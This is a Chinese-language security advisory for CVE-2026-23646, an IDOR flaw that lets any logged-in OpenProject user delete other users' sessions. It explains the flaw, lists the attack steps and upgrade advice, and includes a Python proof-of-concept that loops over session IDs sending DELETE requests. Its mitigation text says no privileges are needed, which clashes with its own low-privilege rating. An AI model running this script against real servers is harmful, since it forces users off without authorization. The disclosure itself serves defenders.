IPBUF安全漏洞报告
English
CVE-2026-23646 CVSS 6.5 中危

CVE-2026-23646 OpenProject会话ID遍历导致任意用户强制登出漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23646
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenProject

相关标签

IDOR会话劫持拒绝服务OpenProjectWeb应用安全权限验证缺陷会话管理漏洞CVE-2026-23646

漏洞概述

OpenProject是一款开源的基于Web的项目管理软件。该漏洞存在于会话管理功能中,由于删除会话时未正确验证会话所有权,攻击者可以利用会话ID的递增整数特性,通过遍历ID来强制终止其他用户的活动会话。攻击者通过构造DELETE /my/sessions/:id请求,迭代不同的会话ID,即可使任意已登录用户被迫登出。虽然攻击者无法获取其他用户的敏感信息(如浏览器标识符、IP地址等),但该漏洞仍可导致拒绝服务,影响系统的可用性和用户体验。漏洞影响OpenProject 16.6.5之前及17.0.1之前的所有版本。

技术细节

漏洞根源在于OpenProject的会话管理模块存在IDOR(不安全的直接对象引用)缺陷。当用户通过Account Settings → Sessions功能删除会话时,后端API端点DELETE /my/sessions/:id仅根据URL中的会话ID参数执行删除操作,未验证该会话是否属于当前认证用户。系统使用递增整数作为会话标识符,攻击者可以通过枚举遍历的方式尝试不同的会话ID值。由于缺乏会话所有权验证,任何认证用户都可以向该端点发送请求,强制终止其他用户的会话。这种攻击可导致目标用户的工作中断和数据丢失,属于客户端会话劫持的一种变体。修复方案需要在删除会话前添加当前用户身份验证,确保仅能删除属于当前用户的会话。

攻击链分析

STEP 1
步骤1
攻击者登录OpenProject系统,获取有效的认证令牌
STEP 2
步骤2
攻击者访问Account Settings → Sessions页面,查看自己的会话信息
STEP 3
步骤3
攻击者通过分析发现会话ID使用递增整数格式,从1开始
STEP 4
步骤4
攻击者构造DELETE /my/sessions/:id请求,从ID=1开始遍历
STEP 5
步骤5
由于后端未验证会话所有权,任意会话ID的删除请求都会被成功执行
STEP 6
步骤6
目标用户的会话被强制终止,被迫登出系统,导致工作中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23646 PoC - OpenProject Session Termination via IDOR # Target: OpenProject versions < 16.6.5 and < 17.0.1 TARGET_URL = "http://target-openproject.com" ATTACKER_TOKEN = "attacker_auth_token_here" def terminate_victim_session(victim_session_id): """ Delete a victim's session without ownership verification The session ID uses incremental integers, allowing enumeration """ endpoint = f"{TARGET_URL}/my/sessions/{victim_session_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } response = requests.delete(endpoint, headers=headers) return response.status_code == 204 def enumerate_and_terminate_sessions(start_id=1, end_id=1000): """ Enumerate session IDs and terminate active user sessions This causes denial of service for affected users """ terminated = [] for session_id in range(start_id, end_id): if terminate_victim_session(session_id): terminated.append(session_id) print(f"[+] Terminated session ID: {session_id}") return terminated if __name__ == "__main__": # Example: Terminate sessions with IDs 1-100 enumerate_and_terminate_sessions(1, 100)

影响范围

OpenProject < 16.6.5
OpenProject < 17.0.1

防御指南

临时缓解措施
目前没有可用的临时缓解措施。该漏洞不需要任何特殊权限即可利用,无法通过临时禁用某些功能来缓解。建议所有用户尽快升级到OpenProject 16.6.5或17.0.1版本以修复此安全问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表